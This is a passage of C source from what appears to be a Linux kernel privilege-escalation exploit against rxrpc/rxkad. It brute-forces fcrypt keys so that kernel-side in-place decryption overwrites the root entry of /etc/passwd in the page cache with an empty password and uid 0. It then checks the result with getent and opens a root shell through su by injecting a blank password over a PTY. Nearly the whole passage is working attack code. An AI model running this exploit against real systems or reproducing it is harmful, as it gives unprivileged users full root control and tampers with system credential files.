   1298     0x64, 0x02, 0x9a, 0x3f, 0x9f, 0x87, 0x96, 0xdf, 0xbe, 0xf2, 0xcb, 0xe5, 0x6c, 0xd4, 0x5a, 0x83, 0xbf, 0x92, 0x1b,
   1299     0x94, 0x00, 0x42, 0xcf, 0x4b, 0x00, 0x75, 0xba, 0x8f, 0x76, 0x5f, 0x5d, 0x3a, 0x4d, 0x09, 0x12, 0x08, 0x38, 0x95,
   1300     0x17, 0xe4, 0x01, 0x1d, 0x4c, 0xa9, 0xcc, 0x85, 0x82, 0x4c, 0x9d, 0x2f, 0x3b, 0x66, 0xa1, 0x34, 0x10, 0xcd, 0x59,
   1301     0x89, 0xa5, 0x31, 0xcf, 0x05, 0xc8, 0x84, 0xfa, 0xc7, 0xba, 0x4e, 0x8b, 0x1a, 0x19, 0xf1, 0xa1, 0x3b, 0x18, 0x12,
   1302     0x17, 0xb0, 0x98, 0x8d, 0x0b, 0x23, 0xc3, 0x3a, 0x2d, 0x20, 0xdf, 0x13, 0xa0, 0xa8, 0x4c, 0x0d, 0x6c, 0x2f, 0x47,
   1303     0x13, 0x13, 0x52, 0x1f, 0x2d, 0xf5, 0x79, 0x3d, 0xa2, 0x54, 0xbd, 0x69, 0xc8, 0x6b, 0xf3, 0x05, 0x28, 0xf1, 0x16,
   1304     0x46, 0x40, 0xb0, 0x11, 0xd3, 0xb7, 0x95, 0x49, 0xcf, 0xc3, 0x1d, 0x8f, 0xd8, 0xe1, 0x73, 0xdb, 0xad, 0xc8, 0xc9,
   1305     0xa9, 0xa1, 0xc2, 0xc5, 0xe3, 0xba, 0xfc, 0x0e, 0x25,
   1306 };
   1307 
   1308 static uint32_t fc_sbox0[256], fc_sbox1[256], fc_sbox2[256], fc_sbox3[256];
   1309 
   1310 #include <endian.h>
   1311 
   1312 static void fcrypt_init_sboxes(void) {
   1313   for (int i = 0; i < 256; i++) {
   1314     fc_sbox0[i] = htobe32((uint32_t)fc_sbox0_raw[i] << 3);
   1315     fc_sbox1[i] = htobe32(((uint32_t)(fc_sbox1_raw[i] & 0x1f) << 27) | ((uint32_t)fc_sbox1_raw[i] >> 5));
   1316     fc_sbox2[i] = htobe32((uint32_t)fc_sbox2_raw[i] << 11);
   1317     fc_sbox3[i] = htobe32((uint32_t)fc_sbox3_raw[i] << 19);
   1318   }
   1319 }
   1320 
   1321 #define fc_ror56_64(k, n) (k = (k >> (n)) | ((k & ((1ULL << (n)) - 1)) << (56 - (n))))
   1322 
   1323 typedef struct {
   1324   uint32_t sched[16];
   1325 } fcrypt_uctx;
   1326 
   1327 static void fcrypt_user_setkey(fcrypt_uctx *ctx, const uint8_t key[8]) {
   1328   uint64_t k = 0;
   1329   k          = (uint64_t)(key[0] >> 1);
   1330   k <<= 7;
   1331   k |= (uint64_t)(key[1] >> 1);
   1332   k <<= 7;
   1333   k |= (uint64_t)(key[2] >> 1);
   1334   k <<= 7;
   1335   k |= (uint64_t)(key[3] >> 1);
   1336   k <<= 7;
   1337   k |= (uint64_t)(key[4] >> 1);
   1338   k <<= 7;
   1339   k |= (uint64_t)(key[5] >> 1);
   1340   k <<= 7;
   1341   k |= (uint64_t)(key[6] >> 1);
   1342   k <<= 7;
   1343   k |= (uint64_t)(key[7] >> 1);
   1344 
   1345   ctx->sched[0x0] = htobe32((uint32_t)k);
   1346   fc_ror56_64(k, 11);
   1347   ctx->sched[0x1] = htobe32((uint32_t)k);
   1348   fc_ror56_64(k, 11);
   1349   ctx->sched[0x2] = htobe32((uint32_t)k);
   1350   fc_ror56_64(k, 11);
   1351   ctx->sched[0x3] = htobe32((uint32_t)k);
   1352   fc_ror56_64(k, 11);
   1353   ctx->sched[0x4] = htobe32((uint32_t)k);
   1354   fc_ror56_64(k, 11);
   1355   ctx->sched[0x5] = htobe32((uint32_t)k);
   1356   fc_ror56_64(k, 11);
   1357   ctx->sched[0x6] = htobe32((uint32_t)k);
   1358   fc_ror56_64(k, 11);
   1359   ctx->sched[0x7] = htobe32((uint32_t)k);
   1360   fc_ror56_64(k, 11);
   1361   ctx->sched[0x8] = htobe32((uint32_t)k);
   1362   fc_ror56_64(k, 11);
   1363   ctx->sched[0x9] = htobe32((uint32_t)k);
   1364   fc_ror56_64(k, 11);
   1365   ctx->sched[0xa] = htobe32((uint32_t)k);
   1366   fc_ror56_64(k, 11);
   1367   ctx->sched[0xb] = htobe32((uint32_t)k);
   1368   fc_ror56_64(k, 11);
   1369   ctx->sched[0xc] = htobe32((uint32_t)k);
   1370   fc_ror56_64(k, 11);
   1371   ctx->sched[0xd] = htobe32((uint32_t)k);
   1372   fc_ror56_64(k, 11);
   1373   ctx->sched[0xe] = htobe32((uint32_t)k);
   1374   fc_ror56_64(k, 11);
   1375   ctx->sched[0xf] = htobe32((uint32_t)k);
   1376 }
   1377 
   1378 #define FC_F(R_, L_, sched_)                                                         \
   1379   do {                                                                               \
   1380     union {                                                                          \
   1381       uint32_t l;                                                                    \
   1382       uint8_t  c[4];                                                                 \
   1383     } u;                                                                             \
   1384     u.l = (sched_) ^ (R_);                                                           \
   1385     L_ ^= fc_sbox0[u.c[0]] ^ fc_sbox1[u.c[1]] ^ fc_sbox2[u.c[2]] ^ fc_sbox3[u.c[3]]; \
   1386   } while (0)
   1387 
   1388 static void fcrypt_user_decrypt(const fcrypt_uctx *ctx, uint8_t out[8], const uint8_t in[8]) {
   1389   uint32_t L, R;
   1390   memcpy(&L, in, 4);
   1391   memcpy(&R, in + 4, 4);
   1392   FC_F(L, R, ctx->sched[0xf]);
   1393   FC_F(R, L, ctx->sched[0xe]);
   1394   FC_F(L, R, ctx->sched[0xd]);
   1395   FC_F(R, L, ctx->sched[0xc]);
   1396   FC_F(L, R, ctx->sched[0xb]);
   1397   FC_F(R, L, ctx->sched[0xa]);
   1398   FC_F(L, R, ctx->sched[0x9]);
   1399   FC_F(R, L, ctx->sched[0x8]);
   1400   FC_F(L, R, ctx->sched[0x7]);
   1401   FC_F(R, L, ctx->sched[0x6]);
   1402   FC_F(L, R, ctx->sched[0x5]);
   1403   FC_F(R, L, ctx->sched[0x4]);
   1404   FC_F(L, R, ctx->sched[0x3]);
   1405   FC_F(R, L, ctx->sched[0x2]);
   1406   FC_F(L, R, ctx->sched[0x1]);
   1407   FC_F(R, L, ctx->sched[0x0]);
   1408   memcpy(out, &L, 4);
   1409   memcpy(out + 4, &R, 4);
   1410 }
   1411 
   1412 /* For the 2-splice chain we want the line to have EXACTLY 6 ':' and a
   1413  * shell field that equals "/bin/bash" (in /etc/shells, valid path).
   1414  * The two splices interlock as:
   1415  *
   1416  *   bytes 7..14  (offset 2800): P1 — sets uid=0, gid=1 digit, then
   1417  *                4 random gecos-prefix bytes.
   1418  *   bytes 15..22 (offset 2808): P2 — wipes the original ':' at line
   1419  *                pos 16, preserves ':' at pos 21 and '/' at pos 22.
   1420  *
   1421  *   Combined line: "test:x:0:G:GGGGGGGGGG:/home/test:/bin/bash"
   1422  *                   pos 0    8    21       32
   1423  *
   1424  *   pw_uid=0, pw_gid=G, pw_dir="/home/test", pw_shell="/bin/bash".
   1425  *   Now `su -s /bin/bash test` proceeds through the restricted_shell()
   1426  *   check (because /bin/bash IS in /etc/shells) and exec()s /bin/bash
   1427  *   under uid=0.
   1428  *
   1429  * === 3-splice predicates ===
   1430  *
   1431  * After applying splices A, B, C in order to /etc/passwd line 1
   1432  * (offsets 4, 6, 8 — each 8 bytes, last-write-wins), the final state
   1433  * of chars 4..15 is determined by these P bytes:
   1434  *
   1435  *   char 4  = P_A[0]   want: ':'
   1436  *   char 5  = P_A[1]   want: ':'
   1437  *   char 6  = P_B[0]   want: '0'   (overwrites P_A[2])
   1438  *   char 7  = P_B[1]   want: ':'   (overwrites P_A[3])
   1439  *   char 8  = P_C[0]   want: '0'   (overwrites P_A[4]/P_B[2])
   1440  *   char 9  = P_C[1]   want: ':'   (overwrites P_A[5]/P_B[3])
   1441  *   char 10..14 = P_C[2..6]  want: any byte except ':' '\0' '\n'
   1442  *   char 15 = P_C[7]   want: ':'
   1443  *
   1444  * The constraints on P_A[2..7] and P_B[2..7] are vacuous because they
   1445  * are overwritten before /etc/passwd is read by anyone — we only care
   1446  * about the final state. */
   1447 static inline int fc_check_pa_nullok(const uint8_t P[8]) {
   1448   return P[0] == ':' && P[1] == ':';
   1449 }
   1450 
   1451 static inline int fc_check_pb_nullok(const uint8_t P[8]) {
   1452   return P[0] == '0' && P[1] == ':';
   1453 }
   1454 
   1455 static inline int fc_check_pc_nullok(const uint8_t P[8]) {
   1456   if (P[0] != '0') return 0;
   1457   if (P[1] != ':') return 0;
   1458   if (P[7] != ':') return 0;
   1459   for (int i = 2; i < 7; i++) {
   1460     if (P[i] == ':' || P[i] == '\0' || P[i] == '\n') return 0;
   1461   }
   1462   return 1;
   1463 }
   1464 
   1465 static uint64_t fc_splitmix64(uint64_t *s) {
   1466   uint64_t z = (*s += 0x9E3779B97F4A7C15ULL);
   1467   z          = (z ^ (z >> 30)) * 0xBF58476D1CE4E5B9ULL;
   1468   z          = (z ^ (z >> 27)) * 0x94D049BB133111EBULL;
   1469   return z ^ (z >> 31);
   1470 }
   1471 
   1472 /* Generic brute-force.  `predicate` decides if a P is acceptable. */
   1473 typedef int (*pcheck_fn)(const uint8_t P[8]);
   1474 
   1475 static int find_K_offline_generic(const uint8_t C[8], uint64_t max_iters, pcheck_fn check, uint8_t K_out[8],
   1476                                   uint8_t P_out[8], uint64_t seed_init, const char *label) {
   1477   fcrypt_uctx     ctx;
   1478   uint8_t         K[8], P[8];
   1479   uint64_t        seed = seed_init;
   1480   struct timespec ts0, ts1;
   1481   clock_gettime(CLOCK_MONOTONIC, &ts0);
   1482 
   1483   for (uint64_t iter = 0; iter < max_iters; iter++) {
   1484     uint64_t r = fc_splitmix64(&seed);
   1485     memcpy(K, &r, 8);
   1486     fcrypt_user_setkey(&ctx, K);
   1487     fcrypt_user_decrypt(&ctx, P, C);
   1488 
   1489     if (check(P)) {
   1490       memcpy(K_out, K, 8);
   1491       memcpy(P_out, P, 8);
   1492       clock_gettime(CLOCK_MONOTONIC, &ts1);
   1493       double dt = (ts1.tv_sec - ts0.tv_sec) + (ts1.tv_nsec - ts0.tv_nsec) / 1e9;
   1494       LOG("%s found after %lu iters in %.2fs (%.2fM/s) K=%02x%02x%02x%02x%02x%02x%02x%02x  "
   1495           "P=%02x%02x%02x%02x%02x%02x%02x%02x \"%c%c%c%c%c%c%c%c\"",
   1496           label, (unsigned long)iter, dt, iter / dt / 1e6, K[0], K[1], K[2], K[3], K[4], K[5], K[6], K[7], P[0], P[1],
   1497           P[2], P[3], P[4], P[5], P[6], P[7], (P[0] >= 32 && P[0] < 127) ? P[0] : '.',
   1498           (P[1] >= 32 && P[1] < 127) ? P[1] : '.', (P[2] >= 32 && P[2] < 127) ? P[2] : '.',
   1499           (P[3] >= 32 && P[3] < 127) ? P[3] : '.', (P[4] >= 32 && P[4] < 127) ? P[4] : '.',
   1500           (P[5] >= 32 && P[5] < 127) ? P[5] : '.', (P[6] >= 32 && P[6] < 127) ? P[6] : '.',
   1501           (P[7] >= 32 && P[7] < 127) ? P[7] : '.');
   1502       return 0;
   1503     }
   1504 
   1505     if ((iter & 0x3ffffff) == 0 && iter > 0) {
   1506       clock_gettime(CLOCK_MONOTONIC, &ts1);
   1507       double dt = (ts1.tv_sec - ts0.tv_sec) + (ts1.tv_nsec - ts0.tv_nsec) / 1e9;
   1508       if (g_cve_ctx.verbose)
   1509         fprintf(stderr, "  [%s %.1fs] iter=%lu (%.2fM/s)\n", label, dt, (unsigned long)iter, iter / dt / 1e6);
   1510     }
   1511   }
   1512   return -1;
   1513 }
   1514 
   1515 int rxrpc_lpe_main(int argc, char **argv) {
   1516   if (g_cve_ctx.verbose) fprintf(stderr, "\n=== rxrpc/rxkad LPE EXPLOIT (uid=1000 → root) ===\n");
   1517   if (g_cve_ctx.verbose) fprintf(stderr, "[*] uid=%u euid=%u gid=%u\n", getuid(), geteuid(), getgid());
   1518 
   1519   {
   1520     const char *no_unshare = getenv("POC_NO_UNSHARE");
   1521     if (!no_unshare || *no_unshare != '1') {
   1522       const char *do_unshare = getenv("POC_UNSHARE");
   1523       if (do_unshare && *do_unshare == '1') {
   1524         if (do_unshare_userns_netns() < 0) return 1;
   1525       }
   1526     }
   1527   }
   1528 
   1529   /* Open a dummy AF_RXRPC socket to autoload the rxrpc kernel module.
   1530    * Without this, the first add_key("rxrpc", ...) call fails with ENODEV
   1531    * because the kernel key type "rxrpc" is registered by rxrpc_init() in
   1532    * the module load path. */
   1533   {
   1534     int dummy = socket(AF_RXRPC, SOCK_DGRAM, PF_INET);
   1535     if (dummy < 0) {
   1536       WARN("socket(AF_RXRPC): %s — module not loadable?", strerror(errno));
   1537       return 1;
   1538     }
   1539     close(dummy);
   1540     LOG("rxrpc module autoloaded via dummy socket(AF_RXRPC)");
   1541   }
   1542 
   1543   /* Open /etc/passwd RO and mmap the first page (which contains the
   1544    * root entry on line 1). */
   1545   const char *target_path = getenv("POC_TARGET_FILE");
   1546   if (!target_path || !*target_path) target_path = "/etc/passwd";
   1547 
   1548   int rfd_ro = open(target_path, O_RDONLY);
   1549   if (rfd_ro < 0) {
   1550     WARN("open %s RO: %s", target_path, strerror(errno));
   1551     return 1;
   1552   }
   1553   struct stat st;
   1554   fstat(rfd_ro, &st);
   1555   if (st.st_size < 32) {
   1556     WARN("target too small: %lld", (long long)st.st_size);
   1557     return 1;
   1558   }
   1559   LOG("target %s opened RO, size=%lld, uid=%u gid=%u mode=%04o", target_path, (long long)st.st_size, st.st_uid,
   1560       st.st_gid, st.st_mode & 07777);
   1561 
   1562   /* mmap first page so the page-cache page stays pinned. */
   1563   void *map = mmap(NULL, 4096, PROT_READ, MAP_SHARED, rfd_ro, 0);
   1564   if (map == MAP_FAILED) {
   1565     WARN("mmap: %s", strerror(errno));
   1566     return 1;
   1567   }
   1568   LOG("mmap'd %s page-cache at %p (PROT_READ|MAP_SHARED)", target_path, map);
   1569 
   1570   /* If a previous attempt already left the root entry in the patched
   1571    * "root::0:0:..." form, treat as success and skip the brute-force /
   1572    * trigger stages.  Otherwise proceed regardless of current state —
   1573    * the brute-force re-derives K_A/K_B/K_C from whatever bytes are
   1574    * currently at offsets 4/6/8 of the page-cache page, so it works
   1575    * even on the corrupt residue from a previous failed run. */
   1576   {
   1577     const char *m = (const char *)map;
   1578     if (memcmp(m, "root::0:0", 9) == 0) {
   1579       LOG("/etc/passwd already patched (root::0:0...) — nothing to do");
   1580       return 0;
   1581     }
   1582     LOG("/etc/passwd line 1 first 16 bytes:");
   1583     for (int i = 0; i < 16; i++)
   1584       if (g_cve_ctx.verbose) fprintf(stderr, "%02x ", (uint8_t)m[i]);
   1585     if (g_cve_ctx.verbose) fprintf(stderr, "\n");
   1586   }
   1587   if (g_cve_ctx.verbose) fprintf(stderr, "[*] /etc/passwd line 1 (root entry) BEFORE: '");
   1588   for (int i = 0; i < 32; i++) {
   1589     char c = ((const char *)map)[i];
   1590     fputc((c == '\n') ? '$' : (c >= 32 && c < 127 ? c : '.'), stderr);
   1591   }
   1592   if (g_cve_ctx.verbose) fprintf(stderr, "'\n");
   1593 
   1594   /* === STAGE 1 — THREE-SPLICE OFFLINE BRUTE FORCE ===
   1595    *
   1596    * Read THREE 8-byte ciphertexts at file offsets 4, 6, 8.  Search
   1597    * independently for K_A (chars 4-5 = "::"), K_B (chars 6-7 = "0:"),
   1598    * K_C (chars 8-15 = "0:GGGGGG:" with G non-control).  All searches
   1599    * are user-space only — no kernel/VM interaction.
   1600    *
   1601    * Last-write-wins ordering: trigger A first (covers 4..11), then B
   1602    * (covers 6..13 — overrides A's 6..11), then C (covers 8..15 —
   1603    * overrides A's 8..11 and B's 8..13).  Final state of chars 4..15:
   1604    *   chars 4..5  = P_A[0..1]
   1605    *   chars 6..7  = P_B[0..1]
   1606    *   chars 8..15 = P_C[0..7]
   1607    * =================================================================*/
   1608   uint8_t Ca[8], Cb[8], Cc[8];
   1609   int     off_a = 4, off_b = 6, off_c = 8;
   1610   if (pread(rfd_ro, Ca, 8, off_a) != 8) {
   1611     WARN("pread Ca: %s", strerror(errno));
   1612     return 1;
   1613   }
   1614   if (pread(rfd_ro, Cb, 8, off_b) != 8) {
   1615     WARN("pread Cb: %s", strerror(errno));
   1616     return 1;
   1617   }
   1618   if (pread(rfd_ro, Cc, 8, off_c) != 8) {
   1619     WARN("pread Cc: %s", strerror(errno));
   1620     return 1;
   1621   }
   1622 
   1623   LOG("Ca @ %d: %02x%02x%02x%02x%02x%02x%02x%02x \"%c%c%c%c%c%c%c%c\"", off_a, Ca[0], Ca[1], Ca[2], Ca[3], Ca[4], Ca[5],
   1624       Ca[6], Ca[7], (Ca[0] >= 32 && Ca[0] < 127) ? Ca[0] : '.', (Ca[1] >= 32 && Ca[1] < 127) ? Ca[1] : '.',
   1625       (Ca[2] >= 32 && Ca[2] < 127) ? Ca[2] : '.', (Ca[3] >= 32 && Ca[3] < 127) ? Ca[3] : '.',
   1626       (Ca[4] >= 32 && Ca[4] < 127) ? Ca[4] : '.', (Ca[5] >= 32 && Ca[5] < 127) ? Ca[5] : '.',
   1627       (Ca[6] >= 32 && Ca[6] < 127) ? Ca[6] : '.', (Ca[7] >= 32 && Ca[7] < 127) ? Ca[7] : '.');
   1628   LOG("Cb @ %d: %02x%02x%02x%02x%02x%02x%02x%02x \"%c%c%c%c%c%c%c%c\"", off_b, Cb[0], Cb[1], Cb[2], Cb[3], Cb[4], Cb[5],
   1629       Cb[6], Cb[7], (Cb[0] >= 32 && Cb[0] < 127) ? Cb[0] : '.', (Cb[1] >= 32 && Cb[1] < 127) ? Cb[1] : '.',
   1630       (Cb[2] >= 32 && Cb[2] < 127) ? Cb[2] : '.', (Cb[3] >= 32 && Cb[3] < 127) ? Cb[3] : '.',
   1631       (Cb[4] >= 32 && Cb[4] < 127) ? Cb[4] : '.', (Cb[5] >= 32 && Cb[5] < 127) ? Cb[5] : '.',
   1632       (Cb[6] >= 32 && Cb[6] < 127) ? Cb[6] : '.', (Cb[7] >= 32 && Cb[7] < 127) ? Cb[7] : '.');
   1633   LOG("Cc @ %d: %02x%02x%02x%02x%02x%02x%02x%02x \"%c%c%c%c%c%c%c%c\"", off_c, Cc[0], Cc[1], Cc[2], Cc[3], Cc[4], Cc[5],
   1634       Cc[6], Cc[7], (Cc[0] >= 32 && Cc[0] < 127) ? Cc[0] : '.', (Cc[1] >= 32 && Cc[1] < 127) ? Cc[1] : '.',
   1635       (Cc[2] >= 32 && Cc[2] < 127) ? Cc[2] : '.', (Cc[3] >= 32 && Cc[3] < 127) ? Cc[3] : '.',
   1636       (Cc[4] >= 32 && Cc[4] < 127) ? Cc[4] : '.', (Cc[5] >= 32 && Cc[5] < 127) ? Cc[5] : '.',
   1637       (Cc[6] >= 32 && Cc[6] < 127) ? Cc[6] : '.', (Cc[7] >= 32 && Cc[7] < 127) ? Cc[7] : '.');
   1638 
   1639   fcrypt_init_sboxes();
   1640   /* selftest */
   1641   {
   1642     fcrypt_uctx ctx;
   1643     uint8_t     z[8]  = {0};
   1644     uint8_t     cv[8] = {0x0E, 0x09, 0x00, 0xC7, 0x3E, 0xF7, 0xED, 0x41};
   1645     uint8_t     pv[8];
   1646     fcrypt_user_setkey(&ctx, z);
   1647     fcrypt_user_decrypt(&ctx, pv, cv);
   1648     if (memcmp(pv, z, 8) != 0) {
   1649       WARN("fcrypt selftest FAILED");
   1650       return 1;
   1651     }
   1652   }
   1653   LOG("fcrypt selftest OK");
   1654 
   1655   uint8_t Ka[8], Pa_out[8];
   1656   uint8_t Kb[8], Pb_out[8];
   1657   uint8_t Kc[8], Pc_out[8];
   1658   uint8_t Cb_actual[8], Cc_actual[8];
   1659 
   1660   {
   1661     uint64_t    max_iters = 10000000000ULL;
   1662     const char *e         = getenv("LPE_MAX_ITERS");
   1663     if (e) max_iters = strtoull(e, NULL, 0);
   1664     uint64_t    seed_base = (uint64_t)time(NULL) * 0x100000001ULL ^ (uint64_t)getpid();
   1665     const char *se        = getenv("LPE_SEED");
   1666     if (se) seed_base = strtoull(se, NULL, 0);
   1667 
   1668     if (g_cve_ctx.verbose) fprintf(stderr, "\n=== STAGE 1a: search K_A (chars 4-5 := \"::\")  prob ~1.5e-5 ===\n");
   1669     if (find_K_offline_generic(Ca, max_iters, fc_check_pa_nullok, Ka, Pa_out, seed_base, "K_A") != 0) {
   1670       WARN("K_A search exhausted");
   1671       return 2;
   1672     }
   1673 
   1674     /* After splice A is applied, the ciphertext that splice B will
   1675      * see at file offset 6 is NOT the original Cb — it's the bytes
   1676      * that splice A wrote to file offsets 6..11 (= Pa[2..7]) plus
   1677      * the original bytes 12..13 (= Cb[6..7]).  We must derive
   1678      * Cb_actual and search K_B against it. */
   1679     memcpy(Cb_actual, Pa_out + 2, 6);
   1680     memcpy(Cb_actual + 6, Cb + 6, 2);
   1681     LOG("Cb_actual (after splice A) = %02x%02x%02x%02x%02x%02x%02x%02x", Cb_actual[0], Cb_actual[1], Cb_actual[2],
   1682         Cb_actual[3], Cb_actual[4], Cb_actual[5], Cb_actual[6], Cb_actual[7]);
   1683 
   1684     if (g_cve_ctx.verbose) fprintf(stderr, "\n=== STAGE 1b: search K_B (chars 6-7 := \"0:\")  prob ~1.5e-5 ===\n");
   1685     if (find_K_offline_generic(Cb_actual, max_iters, fc_check_pb_nullok, Kb, Pb_out, seed_base ^ 0xa5a5a5a5a5a5a5a5ULL,
   1686                                "K_B") != 0) {
   1687       WARN("K_B search exhausted");
   1688       return 2;
   1689     }
   1690 
   1691     /* Same chaining logic for splice C: after splice B, file offsets
   1692      * 8..13 hold Pb[2..7]; offsets 14..15 still hold the original
   1693      * bytes Cc[6..7]. */
   1694     memcpy(Cc_actual, Pb_out + 2, 6);
   1695     memcpy(Cc_actual + 6, Cc + 6, 2);
   1696     LOG("Cc_actual (after splice B) = %02x%02x%02x%02x%02x%02x%02x%02x", Cc_actual[0], Cc_actual[1], Cc_actual[2],
   1697         Cc_actual[3], Cc_actual[4], Cc_actual[5], Cc_actual[6], Cc_actual[7]);
   1698 
   1699     if (g_cve_ctx.verbose)
   1700       fprintf(stderr, "\n=== STAGE 1c: search K_C (chars 8-15 := \"0:GGGGGG:\")  prob ~5.4e-8 ===\n");
   1701     if (find_K_offline_generic(Cc_actual, max_iters, fc_check_pc_nullok, Kc, Pc_out, seed_base ^ 0x5a5a5a5a5a5a5a5aULL,
   1702                                "K_C") != 0) {
   1703       WARN("K_C search exhausted");
   1704       return 2;
   1705     }
   1706   }
   1707 
   1708   if (g_cve_ctx.verbose) fprintf(stderr, "\n[+] Predicted post-corruption /etc/passwd line 1:\n    \"root");
   1709   /* chars 4-5 from P_A */
   1710   for (int i = 0; i < 2; i++) fputc((Pa_out[i] >= 32 && Pa_out[i] < 127) ? Pa_out[i] : '.', stderr);
   1711   /* chars 6-7 from P_B */
   1712   for (int i = 0; i < 2; i++) fputc((Pb_out[i] >= 32 && Pb_out[i] < 127) ? Pb_out[i] : '.', stderr);
   1713   /* chars 8-15 from P_C */
   1714   for (int i = 0; i < 8; i++) fputc((Pc_out[i] >= 32 && Pc_out[i] < 127) ? Pc_out[i] : '.', stderr);
   1715   if (g_cve_ctx.verbose) fprintf(stderr, "/root:/bin/bash\"\n");
   1716 
   1717   /* === STAGE 2 — THREE KERNEL TRIGGERS (in order A → B → C) ===
   1718    * Each trigger does a single in-place decrypt at the
   1719    * indicated /etc/passwd file offset.  Last-write-wins on overlapping
   1720    * bytes determines the final state.
   1721    */
   1722   if (g_cve_ctx.verbose)
   1723     fprintf(stderr, "\n=== STAGE 2a: kernel trigger A @ off %d (set chars 4-5 \"::\") ===\n", off_a);
   1724   memcpy(SESSION_KEY, Ka, 8);
   1725   if (do_one_trigger(rfd_ro, off_a, 8) < 0) {
   1726     WARN("kernel trigger A failed");
   1727     return 3;
   1728   }
   1729 
   1730   if (g_cve_ctx.verbose)
   1731     fprintf(stderr, "\n=== STAGE 2b: kernel trigger B @ off %d (set chars 6-7 \"0:\") ===\n", off_b);
   1732   memcpy(SESSION_KEY, Kb, 8);
   1733   if (do_one_trigger(rfd_ro, off_b, 8) < 0) {
   1734     WARN("kernel trigger B failed");
   1735     return 3;
   1736   }
   1737 
   1738   if (g_cve_ctx.verbose)
   1739     fprintf(stderr, "\n=== STAGE 2c: kernel trigger C @ off %d (set chars 8-15 \"0:GGGGGG:\") ===\n", off_c);
   1740   memcpy(SESSION_KEY, Kc, 8);
   1741   if (do_one_trigger(rfd_ro, off_c, 8) < 0) {
   1742     WARN("kernel trigger C failed");
   1743     return 3;
   1744   }
   1745 
   1746   /* Verify: re-read line 1 of /etc/passwd via mmap. */
   1747   if (g_cve_ctx.verbose) fprintf(stderr, "[*] /etc/passwd line 1 (root entry) AFTER:  '");
   1748   for (int i = 0; i < 32; i++) {
   1749     char c = ((const char *)map)[i];
   1750     fputc((c == '\n') ? '$' : (c >= 32 && c < 127 ? c : '.'), stderr);
   1751   }
   1752   if (g_cve_ctx.verbose) fprintf(stderr, "'\n");
   1753 
   1754   /* Sanity-check: chars 4-5 = "::", 6-7 = "0:", 8-9 = "0:", 15 = ':'. */
   1755   {
   1756     const char *m = (const char *)map;
   1757     int ok = (m[4] == ':' && m[5] == ':' && m[6] == '0' && m[7] == ':' && m[8] == '0' && m[9] == ':' && m[15] == ':');
   1758     if (!ok) {
   1759       WARN("post-trigger sanity check failed — char layout off");
   1760       return 4;
   1761     }
   1762   }
   1763   if (g_cve_ctx.verbose)
   1764     fprintf(stderr,
   1765             "\n[!!!] HIT — root entry now has empty passwd field, uid=0, "
   1766             "gid=0, dir=/root, shell=/bin/bash.\n");
   1767 
   1768   /* === STAGE 3 — VERIFY VIA getent passwd root === */
   1769   if (g_cve_ctx.verbose) fprintf(stderr, "\n=== STAGE 3: independent verify via `getent passwd root` ===\n");
   1770   {
   1771     int p[2];
   1772     if (pipe(p) == 0) {
   1773       pid_t pid = fork();
   1774       if (pid == 0) {
   1775         close(p[0]);
   1776         dup2(p[1], 1);
   1777         dup2(p[1], 2);
   1778         close(p[1]);
   1779         execlp("getent", "getent", "passwd", "root", NULL);
   1780         _exit(127);
   1781       }
   1782       close(p[1]);
   1783       char    buf[1024];
   1784       ssize_t r = read(p[0], buf, sizeof(buf) - 1);
   1785       close(p[0]);
   1786       int wstatus = 0;
   1787       waitpid(pid, &wstatus, 0);
   1788       if (r > 0) {
   1789         buf[r] = 0;
   1790         if (g_cve_ctx.verbose) fprintf(stderr, "[getent passwd root] %s", buf);
   1791       }
   1792       if (g_cve_ctx.verbose)
   1793         fprintf(stderr,
   1794                 "[+] PRIMITIVE proven: root entry has empty passwd field "
   1795                 "via NSS.\n");
   1796     }
   1797   }
   1798 
   1799   /* Honour `--corrupt-only` arg or DIRTYFRAG_CORRUPT_ONLY=1 env so
   1800    * the chain wrapper can skip the in-process su PTY stage and exec
   1801    * /usr/bin/su itself.  Avoids the flaky posix_openpt bridge. */
   1802   {
   1803     int co_flag = 0;
   1804     for (int i = 1; i < argc; i++)
   1805       if (!strcmp(argv[i], "--corrupt-only")) {
   1806         co_flag = 1;
   1807         break;
   1808       }
   1809     const char *e = getenv("DIRTYFRAG_CORRUPT_ONLY");
   1810     if (e && *e == '1') co_flag = 1;
   1811     if (co_flag) return 0;
   1812   }
   1813 
   1814   /* === STAGE 4 — `su` (target=root, no password input) ===
   1815    * PAM common-auth contains "auth [success=2 default=ignore]
   1816    * pam_unix.so nullok" — so a target user with empty passwd field
   1817    * + nullok flag accepts an empty password.  We auto-inject a
   1818    * single newline on the "Password:" prompt and then bridge the
   1819    * resulting bash to the user's tty. */
   1820   if (g_cve_ctx.verbose)
   1821     fprintf(stderr,
   1822             "\n=== STAGE 4: spawning interactive root shell via `su` "
   1823             "(no password input needed) ===\n\n");
   1824   fflush(stderr);
   1825 
   1826   int master = posix_openpt(O_RDWR | O_NOCTTY);
   1827   if (master < 0 || grantpt(master) < 0 || unlockpt(master) < 0) {
   1828     WARN("posix_openpt: %s", strerror(errno));
   1829     return 5;
   1830   }
   1831   char *slave_name = ptsname(master);
   1832 
   1833   struct winsize ws;
   1834   if (ioctl(STDIN_FILENO, TIOCGWINSZ, &ws) == 0) {
   1835     ioctl(master, TIOCSWINSZ, &ws);
   1836   }
   1837 
   1838   pid_t pid = fork();
   1839   if (pid < 0) {
   1840     WARN("fork: %s", strerror(errno));
   1841     return 5;
   1842   }
   1843   if (pid == 0) {
   1844     /* child */
   1845     setsid();
   1846     int slave = open(slave_name, O_RDWR);
   1847     if (slave < 0) _exit(127);
   1848     ioctl(slave, TIOCSCTTY, 0);
   1849     dup2(slave, 0);
   1850     dup2(slave, 1);
   1851     dup2(slave, 2);
   1852     if (slave > 2) close(slave);
   1853     close(master);
   1854     /* `su` with no args targets root.  PAM common-auth's pam_unix.so
   1855      * nullok accepts the empty passwd we planted in /etc/passwd. */
   1856     execlp("su", "su", NULL);
   1857     _exit(127);
   1858   }
   1859 
   1860   /* parent: bridge user's tty <-> master. */
   1861   struct termios saved_termios;
   1862   int            saved_termios_ok = (tcgetattr(STDIN_FILENO, &saved_termios) == 0);
   1863   if (saved_termios_ok) {
   1864     struct termios raw = saved_termios;
   1865     cfmakeraw(&raw);
   1866     tcsetattr(STDIN_FILENO, TCSANOW, &raw);
   1867   }
   1868 
   1869   int  auto_pw_sent = 0;
   1870   int  stdin_eof    = 0; /* set when stdin closes (e.g. /dev/null) */
   1871   char buf[4096];
   1872   /* If LPE_AUTO_VERIFY=1 is set, the bridge will inject
   1873    * `id; whoami; exit\n` so it can prove uid=0 non-interactively
   1874    * (e.g. when stdin is /dev/null in CI). */
   1875   int auto_verify = 0;
